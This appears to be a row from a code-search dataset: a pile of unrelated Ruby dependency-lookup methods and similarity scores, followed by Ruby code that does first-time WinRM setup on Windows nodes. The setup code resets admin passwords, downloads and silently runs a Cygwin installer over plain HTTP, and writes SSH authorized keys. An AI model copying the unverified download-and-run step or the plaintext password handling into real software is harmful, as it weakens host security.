@objs_list.values\n end", "def dependencies(options: {})\n\n Collection.new(parse(client.get(\"/tasks/#{gid}/dependencies\", options: options)), type: self.class, client: client)\n end", "def dependencies(recurse: true)\n return @dependencies if @dependencies\n if depends.nil? || depends.empty?\n @dependencies = nil\n else\n @dependencies = depends.map do |name, dependency|\n loader = StackFileLoader.for(dependency['stack'], self)\n deps = { 'name' => name, 'stack' => loader.source, 'variables' => dependency.fetch('variables', Hash.new) }\n if recurse\n child_deps = loader.dependencies\n deps['depends'] = child_deps unless child_deps.nil?\n end\n deps\n end\n end\n end", "def children\n @children ||= assets.map { |asset| asset.key.split('/').first }.uniq.map do |bucket|\n path = \"#{ resource.public_path }/#{ bucket }\"\n Shopidav::Resource.new(path, path, resource.request, resource.response, resource.options)\n end\n end", "def dependencies\n node.output[carrier].keys\n end", "def services\n related_objects_by_type(\"Service\")\n end", "def getDependencies service\r\n deps = []\r\n Util.csprojs(service).each do |csproj|\r\n deps += getDeps(csproj) \r\n end\r\n return deps.uniq\r\nend", "def dependencies\n []\n end", "def dependencies\n @dependencies ||= Set.new\n end", "def libraries\n @libs ||= Collection.new(klass: Library, client: @client,\n belongs_to: self)\n end", "def all\n _register_class_observer\n if _class_fetch_states.has_key?(:all) && 'fi'.include?(_class_fetch_states[:all]) # if f_etched or i_n progress of fetching\n collection = HyperRecord::Collection.new\n _record_cache.each_value { |record| collection.push(record) }\n return collection\n end\n promise_all\n HyperRecord::Collection.new\n end", "def parents\n parent_objects(Dependency)\n end", "def dependent_doi_items\n # If this resource isn't collectible then just return an empty list.\n # If this resource is destroyed?, then trying to access collections will\n # raise an error, so just return an empty list instead.\n return [] if (!respond_to? :collections) || destroyed?\n # return all collections this is part of that are managed in DataCite\n collections.to_a.select do |collection|\n (collection.respond_to? :doi) && collection.manage_datacite?\n end\n end", "def reflections\n @reflections ||= {}\n end", "def aggregate\n data = {}\n data[:path] = self.path\n data[:name] = self.name\n data[:remotes] = self.remotes.map(&:name)\n data[:remote_urls] = self.remotes.map(&:url)\n data[:remote_branches] = self.remote_branches\n data[:project_identifier] = self.identifier\n data\n end", "def dependency_child_hash\n fieldset_child_collection = look_for_dependent_ons(self.fieldset)\n\n output = {}\n fieldset_child_collection.each do |fieldset_child|\n output[fieldset_child.id] = {}\n fieldset_child.dependencies.each do |dependency|\n dependency_group = dependency.dependency_clause.dependency_group\n output[fieldset_child.id][dependency_group.id] = dependency_group.to_hash\n fieldset = dependency_group.fieldset_child.fieldset\n end\n end\n return output\n end", "def scrape_resources(opts = {})\n BBLib::HashStruct.new.tap do |hash|\n resources.each do |resource|\n hash[resource.name] = resource.retrieve(opts)\n end\n end\n end", "def get_dependencies\n @dependencies\n end", "def dependent_objects\n dependent_objects_map.map do |k, v|\n v.limit(1).count > 0 ? k : nil\n end.compact\n end", "def cached_dependencies\n @dependencies ||= enumerate_dependencies.compact\n end", "def fetch\n super\n if [:followers, :followings, :repos].any? {|assoc| self.send(assoc).empty?}\n api_obj.fetch(:followers, :followings, :repos)\n @followers = @followings = @projects = nil\n end\n self\n end", "def dependencies\n cached_dependencies\n .reject { |d| ignored?(d) }\n .each { |d| add_additional_terms_from_configuration(d) }\n end", "def request_dependencies \n attrib_needed! :content, true if recipe_page_needed?\n from_gleaning = Gleaning.tracked_attributes & needed_attributes\n if from_gleaning.present?\n build_gleaning if !gleaning\n gleaning.request_attributes *from_gleaning\n end\n from_mercury = MercuryResult.tracked_attributes & needed_attributes\n if from_mercury.present?\n # Translate from our needed attributes to those provided by mercury_result\n build_mercury_result if !mercury_result\n mercury_result.request_attributes *from_mercury\n end\n end", "def resolve_collections\n @resolved_collections = resolved_associations_map.inject({}) do |hash, (k,v)|\n collection_records = []\n collection_associations = Array.wrap(v[:associations])\n collection_associations.each do |association|\n add_records_from_collection_association(relation, association, collection_records)\n end\n collection_records.flatten!\n collection_records.compact!\n collection_records.uniq!\n hash[k] = collection_records\n hash\n end\n end", "def find_all(req)\n res = []\n\n return res unless @remote\n\n if @to_fetch.include?(req.name)\n prefetch_now\n end\n\n versions(req.name).each do |ver|\n if req.dependency.match? req.name, ver[:number], @prerelease\n res << Gem::Resolver::APISpecification.new(self, ver)\n end\n end\n\n res\n end", "def dependencies(recurse: true)\n return @dependencies if @dependencies\n depends = yaml['depends']\n if depends.nil? || depends.empty?\n @dependencies = nil\n else\n @dependencies = depends.map do |name, dependency|\n reader = StackFileLoader.for(dependency['stack'], self)\n deps = { 'name' => name, 'stack' => reader.source, 'variables' => dependency.fetch('variables', Hash.new) }\n if recurse\n child_deps = reader.dependencies\n deps['depends'] = child_deps unless child_deps.nil?\n end\n deps\n end\n end\n end", "def dependencies(options = {})\n # backward compatibility\n options = { :scopes => options } if Array === options\n\n # support symbols, but don't fidget with nil\n options[:scopes] = (options[:scopes] || SCOPES_WE_USE).map { |s| s.to_s if s }\n\n # try to cache dependencies also\n @depends_for_scopes ||= {}\n unless depends = @depends_for_scopes[options]\n declared = project['dependencies'].first['dependency'] rescue nil\n depends = (declared || [])\n depends = depends.reject { |dep| value_of(dep['optional']) =~ /true/ } unless options[:optional]\n depends = depends.map { |dep|\n spec = pom_to_hash(dep, properties)\n apply = managed(spec)\n spec = apply.merge(spec) if apply\n\n next if options[:exclusions] && options[:exclusions].any? { |ex| dep['groupId'] == ex['groupId'] && dep['artifactId'] == ex['artifactId'] }\n\n # calculate transitive dependencies\n if options[:scopes].include?(spec[:scope])\n spec.delete(:scope)\n\n exclusions = dep['exclusions'].first['exclusion'] rescue nil\n transitive_deps = POM.load(spec).dependencies(:exclusions => exclusions, :scopes => (options[:scopes_transitive] || SCOPES_TRANSITIVE) ) rescue []\n\n [Artifact.to_spec(spec)] + transitive_deps\n end\n }.flatten.compact #.uniq_by{|spec| art = spec.split(':'); \"#{art[0]}:#{art[1]}\"}\n @depends_for_scopes[options] = depends\n end\n depends\n end", "def core_fetch_dependencies(deps, verbose)\n deps.each do |pkg_name, pkg_version|\n core_fetch_dependency pkg_name, pkg_version, :runtime, verbose\n end\n end", "def depends\n return @depends if @depends\n\n deps = survey.dependencies.includes({:dependency_conditions => {:question => :answers}})\n\n resps = self.responses.includes(:answer)\n\n # gather if the dependencies are met in a hash\n @depends = deps.all.reduce({}) do |mem, v|\n mem[v.id] = v.is_met? self, resps\n mem\n end\n end", "def local_deps\n @local_deps ||= build_local_dependency_list\n end", "def fetch\n handled_collection = build_from_parent_products\n parent_ids = handled_collection.map { |p| p[:id] }\n\n handled_collection + build_from_missing_parents(parent_ids)\n end", "def local\n strong_memoize(:local) do\n next [] if no_local_dependencies_specified?\n next [] unless processable.pipeline_id # we don't have any dependency when creating the pipeline\n\n deps = model_class.where(pipeline_id: processable.pipeline_id).latest\n deps = find_dependencies(processable, deps)\n\n from_dependencies(deps).to_a\n end\n end", "def fetch_dependency_remote_specs(gem_names, &blk)\n Bundler.ui.debug \"Query Gemcutter Dependency Endpoint API: #{gem_names.join(' ')}\"\n uri = URI.parse(\"#{@remote_uri}api/v1/dependencies?gems=#{gem_names.join(\",\")}\")\n marshalled_deps = fetch(uri)\n gem_list = Marshal.load(marshalled_deps)\n\n spec_list = gem_list.map do |s|\n [s[:name], Gem::Version.new(s[:number]), s[:platform]]\n end\n deps_list = gem_list.map do |s|\n s[:dependencies].collect {|d| d.first }\n end.flatten.uniq\n\n [spec_list, deps_list]\n end", "def install_projects\n meta_data.projects = project_resource.all.map { |project| { name: project['name'], id: project['id'] }}\n meta_data.trackers = tracker_resource.all.map { |tracker| { name: tracker['name'], id: tracker['id'] }}\n meta_data.issue_priorities = priority_resource.all.map { |priority| { name: priority['name'], id: priority['id'] }}\n end", "def objects\n @objects ||= []\n end", "def link_containers\n @containers.each_value do |container|\n links = container.attributes[:links]\n\n next if links.nil?\n\n links.each do |service, label|\n dependency_container = @containers[service]\n container.add_dependency(dependency_container)\n end\n end\n end", "def dependency_links\n if @dependencies.nil?\n # Build the mapping: feature identifier => feature\n features_by_id = id2features\n\n # Resolve the dependency tags\n resolve_dependencies(features_by_id)\n end\n\n return @dependencies\n end", "def collect(project)\n info \"** Collecting dependencies for #{project}\"\n @bundles = []\n @projects = []\n dependencies = project.manifest_dependencies().each {|dep| ; _collect(dep)}\n @projects.delete project # Remove our own reference if it was added.\n info \"** Done collecting dependencies for #{project}\"\n return dependencies\n end", "def load_dependencies\n result = zh_client.dependencies(repo_name)\n\n result[\"dependencies\"].each do |hash|\n blocking = add_or_find(hash[\"blocking\"])\n blocked = add_or_find(hash[\"blocked\"])\n\n add_edge(blocked, blocking)\n end\n end", "def getWcfDependencies service\r\n deps = []\r\n Util.csprojs(service).each do |csproj|\r\n deps += getWcfDeps(csproj) \r\n end\r\n return deps.uniq\r\nend", "def dependency_classes\n res = []\n\n eager_loaded_components.keys.each do |aggr|\n res += component_instance(aggr).dependency_classes\n end\n\n res += self.class.class_ancestors\n\n res << self.class\n res.uniq\n end", "def collections\n Collection.find(:all, :find_through => [N::DCT.hasPart, self])\n end", "def objects\n @objects ||= []\n end", "def to_heb_json\n arr = []\n @direct_dep.keys.each do |key|\n arr << {name: key, size: 1, imports: dependencies_for(key)}\n end\n arr.to_json\n end", "def property_dependencies\n {\n host_keys: %i[hostname host_ip]\n }\n end", "def build_components_object\n info = @scan_report.to_h.fetch(:info)\n return [] unless info[:dependencies]\n\n components = []\n\n info[:dependencies].each do |dependency|\n components << parse_dependency(dependency)\n end\n components\n end", "def all\n storage.map(&:repository)\n end" ]
[ "0.62361485", "0.60153943", "0.59339017", "0.5908636", "0.59030503", "0.5897442", "0.57837886", "0.57519805", "0.5749725", "0.57481766", "0.57382226", "0.5702137", "0.5699113", "0.5689912", "0.5643434", "0.5596091", "0.5585197", "0.55752015", "0.5563395", "0.5547067", "0.55431837", "0.552411", "0.55167264", "0.55008924", "0.54947215", "0.54947215", "0.54947215", "0.54947215", "0.54876786", "0.54861957", "0.54795223", "0.54669017", "0.5462825", "0.5456444", "0.54512334", "0.54426867", "0.54309106", "0.5406796", "0.5406796", "0.5406796", "0.53921866", "0.5381218", "0.53762245", "0.53711176", "0.53614247", "0.5354825", "0.53542113", "0.53537846", "0.535186", "0.53497046", "0.534462", "0.5341545", "0.53338784", "0.5328439", "0.53274184", "0.53210026", "0.53192925", "0.53145933", "0.5309421", "0.53069216", "0.5298141", "0.5286443", "0.52766997", "0.52712125", "0.52635115", "0.5261043", "0.52572906", "0.52567357", "0.52559716", "0.5251566", "0.5244328", "0.52431524", "0.5239165", "0.52302814", "0.521459", "0.5211149", "0.5210171", "0.5209949", "0.5209328", "0.5203612", "0.5202457", "0.5196558", "0.51919216", "0.5183096", "0.51704204", "0.5170406", "0.51685715", "0.5165513", "0.5160953", "0.51593167", "0.5157103", "0.5156226", "0.5155359", "0.5153637", "0.51535296", "0.5153349", "0.5153249", "0.5150082", "0.5147915", "0.51450497" ]
0.5396942
40
Gracefully message and attempt to accommodate the common transient errors peculiar to Windows nodes
def handleWindowsFail(e, retries, rebootable_fails, max_retries: 30, reboot_on_problems: false, retry_interval: 45) msg = "WinRM connection to https://"+@mu_name+":5986/wsman: #{e.message}, waiting #{retry_interval}s (attempt #{retries}/#{max_retries})" if e.class.name == "WinRM::WinRMAuthorizationError" or e.message.match(/execution expired/) and reboot_on_problems if rebootable_fails > 0 and (rebootable_fails % 5) == 0 MU.log "#{@mu_name} still misbehaving, forcing Stop and Start from API", MU::WARN reboot(true) # vicious API stop/start sleep retry_interval*3 rebootable_fails = 0 else if rebootable_fails == 3 MU.log "#{@mu_name} misbehaving, attempting to reboot from API", MU::WARN reboot # graceful API restart sleep retry_interval*2 end rebootable_fails = rebootable_fails + 1 end end if retries < max_retries if retries == 1 or (retries/max_retries <= 0.5 and (retries % 3) == 0 and retries != 0) MU.log msg, MU::NOTICE elsif retries/max_retries > 0.5 MU.log msg, MU::WARN, details: e.inspect end sleep retry_interval retries = retries + 1 else raise MuError, "#{@mu_name}: #{e.inspect} trying to connect with WinRM, max_retries exceeded", e.backtrace end return [retries, rebootable_fails] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def recoverable_error e, msg = \"Error\", bt = []\n puts \"#{msg} at time #{clock}\"\n puts \"From \" + bt[0..2].join(\"\\n \") unless bt.empty\n puts \" ...\" if bt.length > 3\n shell.run\n end", "def fatal; end", "def fatal?; end", "def fatal?; end", "def emergency(msg) log(0, msg); end", "def write_fatal_error message\n puts \"Error: #{message}. See spritemaster -h for usage\"\n exit\n end", "def processing_error(msg)\n write(TupleSpace::CommandTuple.new(name: \"terminate\", args: {message: msg}))\n end", "def recover_from(_error); end", "def unknown_error(error, req = T.unsafe(nil), text = T.unsafe(nil)); end", "def store_failure_on_next message\r\n raise 'Not supported in Selenium Core at the moment'\r\n end", "def continued_exception; end", "def error_thread_crash error, error_location; end", "def die(msg=\"unknown problem occurred\")\n abort [\n \"\",\n \"🐒\",\n \" ⌇\",\n \" 💩 DERP!! Um, whut: #{msg}\",\n \"\",\n \"\",\n ].join(\"\\n\")\n end", "def errmsg(message)\n print(\"*** #{message}\\n\")\n end", "def on_error reason\n puts reason\n close\n end", "def handleError(msg)\n obj = ErrorMessage.new()\n obj.msgDetail = msg\n obj.msgBrief = \"Error in BCL to Fastq conversion for flowcell : \" +\n @fcName.to_s\n obj.workingDir = Dir.pwd\n ErrorHandler.handleError(obj)\n exit -1\n end", "def handleError(msg)\n # For right now, throw an exception\n raise \"Error in obtaining information from LIMS. \" +\n \"Error from LIMS : \" + msg\n end", "def protect_runtime_errors # &block\n\t\tbegin\n\t\t\tyield\n\t\trescue StandardError => e\n\t\t\t# switch states first, in case extra messages need to be printed to contexualize the actual exception\n\t\t\tself.runtime_error()\n\t\t\t\n\t\t\t\n\t\t\t# keep execption from halting program,\n\t\t\t# but still output the exception's information.\n\t\t\tprint_wrapped_error(e)\n\t\t\t\n\t\t\t\n\t\tend\n\tend", "def handleError(msg)\n obj = ErrorMessage.new()\n obj.msgDetail = msg\n obj.msgBrief = \"Error in pre-processing flowcell \" + @fcName.to_s\n obj.workingDir = Dir.pwd\n ErrorHandler.handleError(obj)\n exit -1\n end", "def XOerror(msg)\n\t\tres= setResCritical (msg)\n\t\treturnRes( res)\n\tend", "def raise_last_win_32_error\n errorCode = Win32API.new(\"kernel32\", \"GetLastError\", [], 'L').call\n if errorCode != ERROR_SUCCESS\n params = [\n 'L', # IN DWORD dwFlags,\n 'P', # IN LPCVOID lpSource,\n 'L', # IN DWORD dwMessageId,\n 'L', # IN DWORD dwLanguageId,\n 'P', # OUT LPSTR lpBuffer,\n 'L', # IN DWORD nSize,\n 'P', # IN va_list *Arguments\n ]\n\n formatMessage = Win32API.new(\"kernel32\", \"FormatMessage\", params, 'L')\n msg = ' ' * 255\n msgLength = formatMessage.call(FORMAT_MESSAGE_FROM_SYSTEM +\n FORMAT_MESSAGE_ARGUMENT_ARRAY, '', errorCode, 0, msg, 255, '')\n\n msg.gsub!(/\\000/, '')\n msg.strip!\n raise msg\n end\n end", "def mssql_send_error( msg )\n return [\n Constants::TDS_MSG_RESPONSE,\n 1, # status\n 0x0020 + msg.length * 2,\n 0x0037, # channel: 55\n 0x01, # packet no: 1\n 0x00, # window: 0\n Constants::TDS_TOKEN_ERROR,\n 0x000C + msg.length * 2,\n 18456, # SQL Error number\n 1, # state: 1\n 14, # severity: 14\n msg.length, # error msg length\n 0,\n msg.unpack('C*').pack('v*'),\n 0, # server name length\n 0, # process name length\n 0, # line number\n \"fd0200000000000000\"\n ].pack(\"CCnnCCCvVCCCCA*CCnH*\")\n end", "def errmsg(message); end", "def failure_message_continuation; end", "def handle_bogus_message(message)\n # This needs a good solution\n end", "def handle_perform_error(_e); end", "def unhandled_message(msg)\n msg.raw.prefix = msg.client.prefix\n push(msg)\n end", "def chew_error_and_print_message(e)\n case e.message\n when 'ARTICLE_NIL_REQUIRED_VALUE_ERROR'\n puts \"Artigo com título ou autor nulos.\".yellow\n # log_article_error_to_file(article, a_link)\n # interrupt(interrupt_option)\n when \"ARTICLE_ALREADY_IN_DB_ERROR\"\n puts \"Artigo já está no Banco de Dados.\".green\n # log_article_error_to_file(article, a_link)\n when \"FORBIDDEN_ARTICLE_TITLE_ERROR\"\n puts \"Artigo com título proibido.\".yellow\n # interrupt(interrupt_option)\n # log_article_error_to_file(article, a_link)\n else\n puts e.message\n end\n puts \"Ignorando artigo com problemas... OK\\n\"\nend", "def rescued_error\n ErrorSound.play\n id = data_battler.id\n seq_key = phase_sequence[battle_phase].call\n phase = (dead? ? :dead : battle_phase)\n klass = data_battler.class\n result = \"Theolized SBS : \\n\"+\n \"Error occured on #{klass} in ID #{id}\\n\" +\n \"Undefined sequence key \\\"#{seq_key}\\\" for #{phase} phase\\n\\n\" +\n \"This is your fault. Not this script error!\"\n msgbox result\n exit\n end", "def post_fail_message; end", "def abort(msg = '')\n\t\toutput.print_error(\"fatal: #{msg}\")\n\tend", "def handle_thrift_exceptions_with_missing_message\n begin\n yield\n rescue Exception => err\n if !err.message\n if err.respond_to?(\"message=\")\n err.message = err.what || ''\n else\n def err.message\n self.what || ''\n end\n end\n end\n\n raise err\n end\n end", "def standard_error\n \"Oops! Either that search expired, or you're trying to go somewhere you don't belong. Either way, try a new search to find your dream getaway.\"\n end", "def error!\n # Unhandled exception\n if @exception\n exception_message\n exit 2\n # Some checksums did not match?\n elsif !(invalid_packages.empty? && invalid_metadata_files.empty?)\n error_message\n exit 2\n # We don't have checksums for some packages?\n elsif unverifiable_package_count != 0\n unverifiable_packages_message\n exit 2\n else\n success_message\n exit 0\n end\n end", "def error(message) puts(message) || exit end", "def criticalError(msg='Critical error')\n logExceptionMsg msg\n do_action 'StopSociety' if run\n exit 1\nend", "def run_interrupted; end", "def errmsg(message)\n error.print(\"*** #{message}\\n\")\n end", "def recover_from(_error)\n end", "def original_error; end", "def original_error; end", "def fatal_error(message)\n puts message\n exit -1\nend", "def retry_diagnostic(diagnostics)\n diagnostics =~ /RexStatusStr=Rex has not been initialized/\n end", "def friendly_error(e)\n case e\n when Ncio::Support::RetryAction::RetryException::Timeout\n 'Timeout expired connecting to the console service. Verify it is up and running.'\n when OpenSSL::SSL::SSLError\n friendly_ssl_error(e)\n when Ncio::Api::V1::ApiAuthenticationError\n 'Make sure the --cert option value is listed in the certificate whitelist, '\\\n 'and you are able to run puppet agent --test on the master. '\\\n 'The certificate whitelist on the master is located at '\\\n '/etc/puppetlabs/console-services/rbac-certificate-whitelist'\n else\n e.message\n end\n end", "def handleError(msg)\n obj = ErrorMessage.new()\n obj.msgDetail = \"LIMS upload error. Error message : \" + msg.to_s\n obj.msgBrief = \"LIMS upload error for : \" + @fcBarcode.to_s\n obj.fcBarcode = @fcBarcode.to_s\n obj.workingDir = Dir.pwd\n ErrorHandler.handleError(obj)\n exit -1\n end", "def storage_failure=(_arg0); end", "def miss_reason; end", "def catch_exceptions; end", "def grr( msg )\n begin\n $growl.notify \"notification\", \"CodeWatch\", msg\n rescue\n msg\n end\nend", "def shell_error_string ( e )\n if e > 32\n return nil\n else\n return case e\n when 0 then \"Out of memory or resources\"\n #define ERROR_FILE_NOT_FOUND 2L\n #define SE_ERR_FNF 2\n when 2 then \"File not found\"\n #define ERROR_PATH_NOT_FOUND 3L\n #define SE_ERR_PNF 3\n when 3 then \"Path not found\"\n #define SE_ERR_ACCESSDENIED 5\n when 5 then \"Access denied\"\n #define SE_ERR_OOM 8\n when 8 then \"Not enough memory\"\n #define ERROR_BAD_FORMAT 11L\n when 11 then \"Invalid exe\"\n #define SE_ERR_SHARE 26\n when 26 then \"Sharing violation\"\n #define SE_ERR_ASSOCINCOMPLETE 27\n when 27 then \"Invalid file association\"\n #define SE_ERR_DDETIMEOUT 28\n when 28 then \"DDE timeout\"\n #define SE_ERR_DDEFAIL 29\n when 29 then \"DDE fail\"\n #define SE_ERR_DDEBUSY 30\n when 30 then \"DDE busy\"\n #define SE_ERR_NOASSOC 31\n when 31 then \"No file association\"\n #define SE_ERR_DLLNOTFOUND 32\n when 32 then \"DLL not found\"\n else \"Unspecified error\"\n end # case\n end # else\nend", "def error(msg)\n return if @nolog\n puts msg\n exit 5\n end", "def raise(cls, str, junk=nil)\n Rubinius::VM.write_error \"Fatal error loading runtime kernel:\\n \"\n Rubinius::VM.write_error str\n Rubinius::VM.write_error \"\\n\"\n Rubinius::VM.show_backtrace\n Process.exit! 1\n end", "def error_message\n if nagios_mode?\n puts \"CRIT: #{invalid_metadata_files.size} metadata files and #{invalid_packages.size} packages with invalid checksums\"\n else\n invalid_metadata_files.each do |metadata|\n msg metadata.explain_error\n end\n invalid_packages.each do |pkg|\n msg pkg.explain_error\n end\n end\n end", "def abort(message)\n warn message\n exit 1\nend", "def abort(message)\n warn message\n exit 1\nend", "def exit_with_error(msg=\"Exiting for unknown reasons.Check the history\", clean = true)\n puts msg\n cleanup if clean\n exit 1\n end", "def operational_error(message = [{\n 'error_source' => 'Asq',\n 'error_text' => 'Something went wrong.'\n }].to_json)\n self.status = 'operational_error'\n store_results(message)\n log('error', JSON.parse(message)[0]['error_text'])\n finish_refresh\n end", "def err(msg)\n puts msg.red\n exit(1)\n end", "def prelogfault(x)\n STDERR.puts \"FAULT: \".red+x\n STDERR.puts \"Thank you for failing with cruftmaster.\".red\n exit -1\nend", "def fatal(msg)\n banner(msg, RED)\n exit(1)\n end", "def search_error()\n error = TTY::Box.warn(\"Sorry no record found. Try another log.\")\n puts error\nend", "def fail\n\t\t# throw up this code and feed plezi your own lines :)\n\t\traise \"Plezi raising hell!\"\n\tend", "def failure_message_preface=(_arg0); end", "def error_poslook_crash error, error_location; end", "def record_error_with_less_nodes\n @supervisor.increment_error_count\n\n dashes = '-' * 90\n\n @error = %{#{exception.message}\\n#{exception.backtrace.join(\"\\n\")}\n#{dashes}\\nQUEUE ELEMENT:\\n#{@element.inspect}\n#{dashes}\\nRAW PAYLOAD:\\n#{@response.inspect}\n#{dashes}\\nRAW BODY:\\n#{@response_body.inspect}\n#{dashes}\\nPARSED PAYLOAD:\\n#{@entity.inspect}}\n\n log(\"#{'=' * 90}\\nERROR processing data!#{@error}\")\nend", "def errorhandling\n end", "def retry_on_windows\n return yield unless windows?\n\n begin\n yield\n rescue SystemCallError\n sleep 0.1\n yield\n end\n end", "def abort!(message)\n error(message)\n exit 1\n end", "def client_error?; end", "def abort( msg )\n @log.fatal msg\n exit 1\n end", "def raise_side_channel_error!\n error_write.close\n err = error_read.read\n error_read.close\n begin\n # ArgumentError from Marshal.load indicates no data, which we assume\n # means no error in child process.\n raise Marshal.load(err)\n rescue ArgumentError\n nil\n end\n end", "def fail_with_message(error, message)\n Helper.log.error(\"#{error.class}: #{error.message}\")\n sys_abort(message)\n end", "def storage_failure; end", "def error_in_submission(pid, reason)\n throw reason\n end", "def write_error_info\n end", "def abort( msg )\n\t$stderr.puts( msg )\n\texit 1\nend", "def fatal!(message)\n # Not using safe_each in case that caused an error.\n safely { $stdout.reopen(@stdout, 'a+'); $stdout.puts message }\n safely { $stderr.reopen(@stderr, 'a+'); $stderr.puts message }\n exit 1\n end", "def continued_exception=(_arg0); end", "def abort; end", "def abort; end", "def abort; end", "def failure_wrap(message)\n begin\n payload = unpack(message)\n yield payload\n rescue => e\n error \"Unexpected error encountered processing custom resource - #{e.class}: #{e.message}\"\n debug \"#{e.class}: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n cfn_resource = payload.get(:data, :cfn_resource)\n cfn_response = build_response(cfn_resource)\n cfn_response['Status'] = 'FAILED'\n cfn_response['Reason'] = \"Unexpected error encountered [#{e.message}]\"\n respond_to_stack(cfn_response, cfn_resource[:response_url])\n message.confirm!\n end\n end", "def fatal_error(error, msg, args)\n Distributed.fatal \"#{self}: fatal error '#{error.message}' while processing #{msg}(#{args.join(\", \")})\"\n Distributed.fatal Roby.filter_backtrace(error.backtrace).join(\"\\n \")\n @connection_state = :disconnecting\n queue_call false, :fatal_error, [error, msg, args]\n end", "def recover_from_post_processing_failure #:nodoc:\n true\n end", "def setup_fail(message)\n puts '-'*50\n message.each { |line| puts line }\n puts '-'*50\n exit\n end", "def run_failed; end", "def test_notice_error_returns_nil\n begin\n raise 'WTF'\n rescue => e\n assert_nil ::NewRelic::Agent.notice_error(e)\n end\n end", "def flag_error(error)\n caller.each{|i| puts i}\n if !$error_activated\n error_txt = report_exception(error)\n Audio.se_play('Audio/SE/Buzzer1',80,100)\n info = (Vocab::Errno::Exception rescue \"An error occurred during the gameplay, please submit \\\"ErrorLog.txt\\\" to the developers in order to resolve the problem.\\n\")\n info = info.force_encoding($default_encoding)\n print info\n msgbox(info)\n filename = \"ErrorLog.txt\"\n File.open(filename, 'w+') {|f| f.write(error_txt + \"\\n\") }\n end\n \n $error_activated = true\n raise error.class, error.message, [$error_tracer_header]\nend", "def fatal\n asl_log(@aslclient, @aslmsg, ASL_LEVEL_CRIT, message)\n end", "def errorCommand\n @SocketHandle.puts \"You sent something wrong.\"\n end", "def on_hbwrite_fail(parms, ticker_data)\n begin\n @log.debug \"Hbwritef Parms #{info(parms)}\"\n @log.debug \"Hbwritef Result #{ticker_data.inspect}\"\n rescue\n @log.debug \"Hbwritef oops\"\n end\n end", "def abort( msg )\n @log.fatal msg\n exit 1\n end", "def initialize_error_handlers\n #When an error occurrs, write nothing to stdout. We'll handle the errors ourselves\n Cspice_wrapper.errprt_c('SET', 0, 'NONE')\n\n #When an error happens, return from the erroring function, but do not abort the whole process\n Cspice_wrapper.erract_c('SET', 0, 'RETURN')\n end", "def unknown; status[:unknown]; end", "def underlying_exception; end", "def handle_sysex(msg)\n\t@raw_data = msg.dup()\n\tsysex(msg)\n end", "def set_exit_exception; end", "def error(msg)\n raise RuntimeError.new(msg)\n end", "def error(msg)\n raise RuntimeError.new(msg)\n end", "def error(msg)\n raise RuntimeError.new(msg)\n end", "def complain\n\n end" ]
[ "0.6470674", "0.6298678", "0.60889536", "0.60889536", "0.6025011", "0.59492826", "0.59469736", "0.5946252", "0.5928967", "0.5901154", "0.5887963", "0.58577347", "0.5852414", "0.5804016", "0.5784455", "0.57779163", "0.5771938", "0.5756146", "0.57371813", "0.5733984", "0.5702509", "0.5683759", "0.56753105", "0.5664104", "0.56572723", "0.56322384", "0.5629333", "0.5629276", "0.5619997", "0.5604905", "0.5599271", "0.55908597", "0.5587437", "0.55870515", "0.5585076", "0.55848986", "0.5575669", "0.5571381", "0.55663824", "0.5560217", "0.5560217", "0.555931", "0.5558356", "0.55459934", "0.55446935", "0.5537835", "0.55335206", "0.55279195", "0.55246073", "0.551651", "0.5510369", "0.5488551", "0.54791284", "0.547666", "0.547666", "0.54764354", "0.54743195", "0.54729915", "0.5469421", "0.54693925", "0.546686", "0.54593265", "0.5445924", "0.54425305", "0.5439746", "0.5439049", "0.5434445", "0.5433385", "0.5429957", "0.54289025", "0.542749", "0.542648", "0.54255766", "0.54131114", "0.54081", "0.54056466", "0.54035836", "0.5393495", "0.5388122", "0.5388122", "0.5388122", "0.5386348", "0.5385121", "0.53823835", "0.53730965", "0.5364704", "0.535847", "0.5358347", "0.5356102", "0.5347868", "0.5345702", "0.5344682", "0.53383434", "0.5338193", "0.5337075", "0.53355455", "0.533303", "0.53278744", "0.53278744", "0.53278744", "0.5321019" ]
0.0
-1
Basic setup tasks performed on a new node during its first WinRM connection. Most of this is terrible Windows glue.
def initialWinRMTasks(shell) retries = 0 rebootable_fails = 0 begin if !@config['use_cloud_provider_windows_password'] pw = @groomer.getSecret( vault: @config['mu_name'], item: "windows_credentials", field: "password" ) win_check_for_pw = %Q{Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $Creds = (New-Object System.Management.Automation.PSCredential("#{@config["windows_admin_username"]}", (ConvertTo-SecureString "#{pw}" -AsPlainText -Force)));$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine); $DS.ValidateCredentials($Creds.GetNetworkCredential().UserName, $Creds.GetNetworkCredential().password); echo $Result} resp = shell.run(win_check_for_pw) if resp.stdout.chomp != "True" win_set_pw = %Q{(([adsi]('WinNT://./#{@config["windows_admin_username"]}, user')).psbase.invoke('SetPassword', '#{pw}'))} resp = shell.run(win_set_pw) puts resp.stdout MU.log "Resetting Windows host password", MU::NOTICE, details: resp.stdout end end # Install Cygwin here, because for some reason it breaks inside Chef # XXX would love to not do this here pkgs = ["bash", "mintty", "vim", "curl", "openssl", "wget", "lynx", "openssh"] admin_home = "c:/bin/cygwin/home/#{@config["windows_admin_username"]}" install_cygwin = %Q{ If (!(Test-Path "c:/bin/cygwin/Cygwin.bat")){ $WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile("http://cygwin.com/setup-x86_64.exe","$env:Temp/setup-x86_64.exe") Start-Process -wait -FilePath $env:Temp/setup-x86_64.exe -ArgumentList "-q -n -l $env:Temp/cygwin -R c:/bin/cygwin -s http://mirror.cs.vt.edu/pub/cygwin/cygwin/ -P #{pkgs.join(',')}" } if(!(Test-Path #{admin_home})){ New-Item -type directory -path #{admin_home} } if(!(Test-Path #{admin_home}/.ssh)){ New-Item -type directory -path #{admin_home}/.ssh } if(!(Test-Path #{admin_home}/.ssh/authorized_keys)){ New-Item #{admin_home}/.ssh/authorized_keys -type file -force -value "#{@deploy.ssh_public_key}" } } resp = shell.run(install_cygwin) if resp.exitcode != 0 MU.log "Failed at installing Cygwin", MU::ERR, details: resp end set_hostname = true hostname = nil if !@config['active_directory'].nil? if @config['active_directory']['node_type'] == "domain_controller" && @config['active_directory']['domain_controller_hostname'] hostname = @config['active_directory']['domain_controller_hostname'] @mu_windows_name = hostname set_hostname = true else # Do we have an AD specific hostname? hostname = @mu_windows_name set_hostname = true end else hostname = @mu_windows_name end 